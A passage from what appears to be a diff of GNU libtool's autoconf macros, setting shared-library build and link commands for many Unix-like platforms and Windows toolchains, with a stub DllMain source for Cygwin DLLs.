aix_use_runtimelinking=yes + break + fi + done + esac + + exp_sym_flag='-bexport' + no_entry_flag='-bnoentry' + fi + + # When large executables or shared objects are built, AIX ld can + # have problems creating the table of contents. If linking a library + # or program results in "error TOC overflow" add -mminimal-toc to + # CXXFLAGS/CFLAGS for g++/gcc. In the cases where that is not + # enough to fix the problem, add -Wl,-bbigtoc to LDFLAGS. + + _LT_AC_TAGVAR(archive_cmds, $1)='' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=':' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + + if test "$GCC" = yes; then + case $host_os in aix4.[012]|aix4.[012].*) + # We only want to do this on AIX 4.2 and lower, the check + # below for broken collect2 doesn't work under 4.3+ + collect2name=`${CC} -print-prog-name=collect2` + if test -f "$collect2name" && \ + strings "$collect2name" | grep resolve_lib_name >/dev/null + then + # We have reworked collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + else + # We have old collect2 + _LT_AC_TAGVAR(hardcode_direct, $1)=unsupported + # It fails to find uninstalled libraries when the uninstalled + # path is not listed in the libpath. Setting hardcode_minus_L + # to unsupported forces relinking + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)= + fi + esac + shared_flag='-shared' + else + # not using gcc + if test "$host_cpu" = ia64; then + # VisualAge C++, Version 5.5 for AIX 5L for IA-64, Beta 3 Release + # chokes on -Wl,-G. The following line is correct: + shared_flag='-G' + else + if test "$aix_use_runtimelinking" = yes; then + shared_flag='${wl}-G' + else + shared_flag='${wl}-bM:SRE' + fi + fi + fi + + # It seems that -bexpall does not export symbols beginning with + # underscore (_), so it is better to generate a list of symbols to export. + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + if test "$aix_use_runtimelinking" = yes; then + # Warning - without using the other runtime loading flags (-brtl), + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(allow_undefined_flag, $1)='-berok' + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags `if test "x${allow_undefined_flag}" != "x"; then echo "${wl}${allow_undefined_flag}"; else :; fi` '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols $shared_flag" + else + if test "$host_cpu" = ia64; then + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-R $libdir:/usr/lib:/lib' + _LT_AC_TAGVAR(allow_undefined_flag, $1)="-z nodefs" + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}${allow_undefined_flag} '"\${wl}$no_entry_flag \${wl}$exp_sym_flag:\$export_symbols" + else + # Determine the default libpath from the value encoded in an empty executable. + _LT_AC_SYS_LIBPATH_AIX + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-blibpath:$libdir:'"$aix_libpath" + # Warning - without using the other run time loading flags, + # -berok will link without error, but may produce a broken library. + _LT_AC_TAGVAR(no_undefined_flag, $1)=' ${wl}-bernotok' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-berok' + # -bexpall does not export symbols beginning with underscore (_) + _LT_AC_TAGVAR(always_export_symbols, $1)=yes + # Exported symbols can be pulled into shared objects from archives + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)=' ' + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + # This is similar to how AIX traditionally builds it's shared libraries. + _LT_AC_TAGVAR(archive_expsym_cmds, $1)="\$CC $shared_flag"' -o $output_objdir/$soname $libobjs $deplibs $compiler_flags ${wl}-bE:$export_symbols ${wl}-bnoentry${allow_undefined_flag}~$AR $AR_FLAGS $output_objdir/$libname$release.a $output_objdir/$soname' + fi + fi + ;; + + amigaos*) + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/a2ixlibrary.data~$echo "#define NAME $libname" > $output_objdir/a2ixlibrary.data~$echo "#define LIBRARY_ID 1" >> $output_objdir/a2ixlibrary.data~$echo "#define VERSION $major" >> $output_objdir/a2ixlibrary.data~$echo "#define REVISION $revision" >> $output_objdir/a2ixlibrary.data~$AR $AR_FLAGS $lib $libobjs~$RANLIB $lib~(cd $output_objdir && a2ixlibrary -32)' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + # see comment about different semantics on the GNU ld section + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + bsdi[[45]]*) + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)=-rdynamic + ;; + + cygwin* | mingw* | pw32*) + # When not using gcc, we currently assume that we are using + # Microsoft Visual C++. + # hardcode_libdir_flag_spec is actually meaningless, as there is + # no search path for DLLs. + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)=' ' + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + # Tell ltmain to make .lib files, not .a files. + libext=lib + # Tell ltmain to make .dll files, not .so files. + shrext_cmds=".dll" + # FIXME: Setting linknames here is a bad hack. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -o $lib $libobjs $compiler_flags `echo "$deplibs" | $SED -e '\''s/ -lc$//'\''` -link -dll~linknames=' + # The linker will automatically build a .lib file if we build a DLL. + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='true' + # FIXME: Should let the user specify the lib program. + _LT_AC_TAGVAR(old_archive_cmds, $1)='lib /OUT:$oldlib$oldobjs$old_deplibs' + fix_srcfile_path='`cygpath -w "$srcfile"`' + _LT_AC_TAGVAR(enable_shared_with_static_runtimes, $1)=yes + ;; + + darwin* | rhapsody*) + case "$host_os" in + rhapsody* | darwin1.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}suppress' + ;; + *) # Darwin 1.3 on + if test -z ${MACOSX_DEPLOYMENT_TARGET} ; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + else + case ${MACOSX_DEPLOYMENT_TARGET} in + 10.[[012]]) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-flat_namespace ${wl}-undefined ${wl}suppress' + ;; + 10.*) + _LT_AC_TAGVAR(allow_undefined_flag, $1)='${wl}-undefined ${wl}dynamic_lookup' + ;; + esac + fi + ;; + esac + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_automatic, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=unsupported + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='' + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + if test "$GCC" = yes ; then + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -dynamiclib $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags -install_name $rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + else + case "$cc_basename" in + xlc*) + output_verbose_link_cmd='echo' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}`echo $rpath/$soname` $verstring' + _LT_AC_TAGVAR(module_cmds, $1)='$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags' + # Don't fix this by using the ld -exported_symbols_list flag, it doesn't exist in older darwin ld's + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC -qmkshrobj $allow_undefined_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-install_name ${wl}$rpath/$soname $verstring~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + _LT_AC_TAGVAR(module_expsym_cmds, $1)='sed -e "s,#.*,," -e "s,^[ ]*,," -e "s,^\(..*\),_&," < $export_symbols > $output_objdir/${libname}-symbols.expsym~$CC $allow_undefined_flag -o $lib -bundle $libobjs $deplibs$compiler_flags~nmedit -s $output_objdir/${libname}-symbols.expsym ${lib}' + ;; + *) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + esac + fi + ;; + + dgux*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + freebsd1*) + _LT_AC_TAGVAR(ld_shlibs, $1)=no + ;; + + # FreeBSD 2.2.[012] allows us to include c++rt0.o to get C++ constructor + # support. Future versions do this automatically, but an explicit c++rt0.o + # does not break anything, and helps significantly (at the cost of a little + # extra space). + freebsd2.2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags /usr/lib/c++rt0.o' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # Unfortunately, older versions of FreeBSD 2 do not have this feature. + freebsd2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + # FreeBSD 3 and greater uses gcc -shared to do shared libraries. + freebsd* | kfreebsd*-gnu) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + hpux9*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$CC -shared -fPIC ${wl}+b ${wl}$install_libdir -o $output_objdir/$soname $libobjs $deplibs $compiler_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$rm $output_objdir/$soname~$LD -b +b $install_libdir -o $output_objdir/$soname $libobjs $deplibs $linker_flags~test $output_objdir/$soname = $lib || mv $output_objdir/$soname $lib' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + ;; + + hpux10* | hpux11*) + if test "$GCC" = yes -a "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}+h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared -fPIC ${wl}+h ${wl}$soname ${wl}+b ${wl}$install_libdir -o $lib $libobjs $deplibs $compiler_flags' + ;; + esac + else + case "$host_cpu" in + hppa*64*|ia64*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname -o $lib $libobjs $deplibs $linker_flags' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -b +h $soname +b $install_libdir -o $lib $libobjs $deplibs $linker_flags' + ;; + esac + fi + if test "$with_gnu_ld" = no; then + case "$host_cpu" in + hppa*64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='+b $libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + ia64*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + ;; + *) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}+b ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + + # hardcode_minus_L: Not really in the search PATH, + # but as the default location of the library. + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + ;; + esac + fi + ;; + + irix5* | irix6* | nonstopux*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec_ld, $1)='-rpath $libdir' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + + netbsd*) + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' # a.out + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared -o $lib $libobjs $deplibs $linker_flags' # ELF + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + newsos6) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + openbsd*) + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags ${wl}-retain-symbols-file,$export_symbols' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-E' + else + case $host_os in + openbsd[[01]].* | openbsd2.[[0-7]] | openbsd2.[[0-7]].*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -Bshareable -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + ;; + *) + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared $pic_flag -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath,$libdir' + ;; + esac + fi + ;; + + os2*) + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(allow_undefined_flag, $1)=unsupported + _LT_AC_TAGVAR(archive_cmds, $1)='$echo "LIBRARY $libname INITINSTANCE" > $output_objdir/$libname.def~$echo "DESCRIPTION \"$libname\"" >> $output_objdir/$libname.def~$echo DATA >> $output_objdir/$libname.def~$echo " SINGLE NONSHARED" >> $output_objdir/$libname.def~$echo EXPORTS >> $output_objdir/$libname.def~emxexp $libobjs >> $output_objdir/$libname.def~$CC -Zdll -Zcrtdll -o $lib $libobjs $deplibs $compiler_flags $output_objdir/$libname.def' + _LT_AC_TAGVAR(old_archive_From_new_cmds, $1)='emximp -o $output_objdir/$libname.a $output_objdir/$libname.def' + ;; + + osf3*) + if test "$GCC" = yes; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + else + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + osf4* | osf5*) # as osf3* with the addition of -msym flag + if test "$GCC" = yes; then + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' ${wl}-expect_unresolved ${wl}\*' + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared${allow_undefined_flag} $libobjs $deplibs $compiler_flags ${wl}-msym ${wl}-soname ${wl}$soname `test -n "$verstring" && echo ${wl}-set_version ${wl}$verstring` ${wl}-update_registry ${wl}${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='${wl}-rpath ${wl}$libdir' + else + _LT_AC_TAGVAR(allow_undefined_flag, $1)=' -expect_unresolved \*' + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -shared${allow_undefined_flag} $libobjs $deplibs $linker_flags -msym -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${output_objdir}/so_locations -o $lib' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='for i in `cat $export_symbols`; do printf "%s %s\\n" -exported_symbol "\$i" >> $lib.exp; done; echo "-hidden">> $lib.exp~ + $LD -shared${allow_undefined_flag} -input $lib.exp $linker_flags $libobjs $deplibs -soname $soname `test -n "$verstring" && echo -set_version $verstring` -update_registry ${objdir}/so_locations -o $lib~$rm $lib.exp' + + # Both c and cxx compiler support -rpath directly + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-rpath $libdir' + fi + _LT_AC_TAGVAR(hardcode_libdir_separator, $1)=: + ;; + + sco3.2v5*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='${wl}-Bexport' + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + ;; + + solaris*) + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text' + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $CC -shared ${wl}-M ${wl}$lib.exp ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags~$rm $lib.exp' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; };" >> $lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-R$libdir' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + case $host_os in + solaris2.[[0-5]] | solaris2.[[0-5]].*) ;; + *) # Supported since Solaris 2.6 (maybe 2.5.1?) + _LT_AC_TAGVAR(whole_archive_flag_spec, $1)='-z allextract$convenience -z defaultextract' ;; + esac + _LT_AC_TAGVAR(link_all_deplibs, $1)=yes + ;; + + sunos4*) + if test "x$host_vendor" = xsequent; then + # Use $CC to link under sequent, because it throws in some extra .o + # files that make .init and .fini sections work. + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h $soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -assert pure-text -Bstatic -o $lib $libobjs $deplibs $linker_flags' + fi + _LT_AC_TAGVAR(hardcode_libdir_flag_spec, $1)='-L$libdir' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=yes + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4) + case $host_vendor in + sni) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes # is this really true??? + ;; + siemens) + ## LD is ld it makes a PLAMLIB + ## CC just makes a GrossModule. + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(reload_cmds, $1)='$CC -r -o $output$reload_objs' + _LT_AC_TAGVAR(hardcode_direct, $1)=no + ;; + motorola) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=no #Motorola manual says yes, but my tests say they lie + ;; + esac + runpath_var='LD_RUN_PATH' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv4.3*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + _LT_AC_TAGVAR(export_dynamic_flag_spec, $1)='-Bexport' + ;; + + sysv4*MP*) + if test -d /usr/nec; then + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + runpath_var=LD_RUN_PATH + hardcode_runpath_var=yes + _LT_AC_TAGVAR(ld_shlibs, $1)=yes + fi + ;; + + sysv4.2uw2*) + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(hardcode_direct, $1)=yes + _LT_AC_TAGVAR(hardcode_minus_L, $1)=no + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + hardcode_runpath_var=yes + runpath_var=LD_RUN_PATH + ;; + + sysv5OpenUNIX8* | sysv5UnixWare7* | sysv5uw[[78]]* | unixware7*) + _LT_AC_TAGVAR(no_undefined_flag, $1)='${wl}-z ${wl}text' + if test "$GCC" = yes; then + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -shared ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + else + _LT_AC_TAGVAR(archive_cmds, $1)='$CC -G ${wl}-h ${wl}$soname -o $lib $libobjs $deplibs $compiler_flags' + fi + runpath_var='LD_RUN_PATH' + _LT_AC_TAGVAR(hardcode_shlibpath_var, $1)=no + ;; + + sysv5*) + _LT_AC_TAGVAR(no_undefined_flag, $1)=' -z text' + # $CC -shared without GNU ld will not create a library from C++ + # object files and a static libstdc++, better avoid it by now + _LT_AC_TAGVAR(archive_cmds, $1)='$LD -G${allow_undefined_flag} -h $soname -o $lib $libobjs $deplibs $linker_flags' + _LT_AC_TAGVAR(archive_expsym_cmds, $1)='$echo "{ global:" > $lib.exp~cat $export_symbols | $SED -e "s/\(.*\)/\1;/" >> $lib.exp~$echo "local: *; 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then + case $_LT_AC_TAGVAR(archive_cmds, $1) in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + AC_MSG_CHECKING([whether -lc should be explicitly linked in]) + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if AC_TRY_EVAL(ac_compile) 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$_LT_AC_TAGVAR(lt_prog_compiler_wl, $1) + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$_LT_AC_TAGVAR(allow_undefined_flag, $1) + _LT_AC_TAGVAR(allow_undefined_flag, $1)= + if AC_TRY_EVAL(_LT_AC_TAGVAR(archive_cmds, $1) 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) + then + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=no + else + _LT_AC_TAGVAR(archive_cmds_need_lc, $1)=yes + fi + _LT_AC_TAGVAR(allow_undefined_flag, $1)=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + AC_MSG_RESULT([$_LT_AC_TAGVAR(archive_cmds_need_lc, $1)]) + ;; + esac + fi + ;; +esac +])# AC_LIBTOOL_PROG_LD_SHLIBS + + +# _LT_AC_FILE_LTDLL_C +# ------------------- +# Be careful that the start marker always follows a newline. +AC_DEFUN([_LT_AC_FILE_LTDLL_C], [ +# /* ltdll.c starts here */ +# #define WIN32_LEAN_AND_MEAN +# #include <windows.h> +# #undef WIN32_LEAN_AND_MEAN +# #include <stdio.h> +# +# #ifndef __CYGWIN__ +# # ifdef __CYGWIN32__ +# # define __CYGWIN__ __CYGWIN32__ +# # endif +# #endif +# +# #ifdef __cplusplus +# extern "C" { +# #endif +# BOOL APIENTRY DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved); +# #ifdef __cplusplus +# } +# #endif +# +# #ifdef __CYGWIN__ +# #include <cygwin/cygwin_dll.h> +# DECLARE_CYGWIN_DLL( DllMain ); +# #endif +# HINSTANCE __hDllInstance_base; +# +# BOOL APIENTRY +# DllMain (HINSTANCE hInst, DWORD reason, LPVOID reserved) +# { +# __hDllInstance_base = hInst; +# return TRUE; +# } +# /* ltdll.c ends here */ +])# _LT_AC_FILE_LTDLL_C + + +# _LT_AC_TAGVAR(VARNAME, [TAGNAME]) +# --------------------------------- +AC_DEFUN([_LT_AC_TAGVAR], [ifelse([$2], [], [$1], [$1_$2])]) + + +# old names +AC_DEFUN([AM_PROG_LIBTOOL], [AC_PROG_LIBTOOL]) +AC_DEFUN([AM_ENABLE_SHARED], [AC_ENABLE_SHARED($@)]) +AC_DEFUN([AM_ENABLE_STATIC], [AC_ENABLE_STATIC($@)]) +AC_DEFUN([AM_DISABLE_SHARED], [AC_DISABLE_SHARED($@)]) +AC_DEFUN([AM_DISABLE_STATIC], [AC_DISABLE_STATIC($@)]) +AC_DEFUN([AM_PROG_LD], [AC_PROG_LD]) +AC_DEFUN([AM_PROG_NM], [AC_PROG_NM]) + +# This is just to silence aclocal about the macro not being used +ifelse([AC_DISABLE_FAST_INSTALL]) + +AC_DEFUN([LT_AC_PROG_GCJ], +[AC_CHECK_TOOL(GCJ, gcj, no) + test "x${GCJFLAGS+set}" = xset || GCJFLAGS="-g 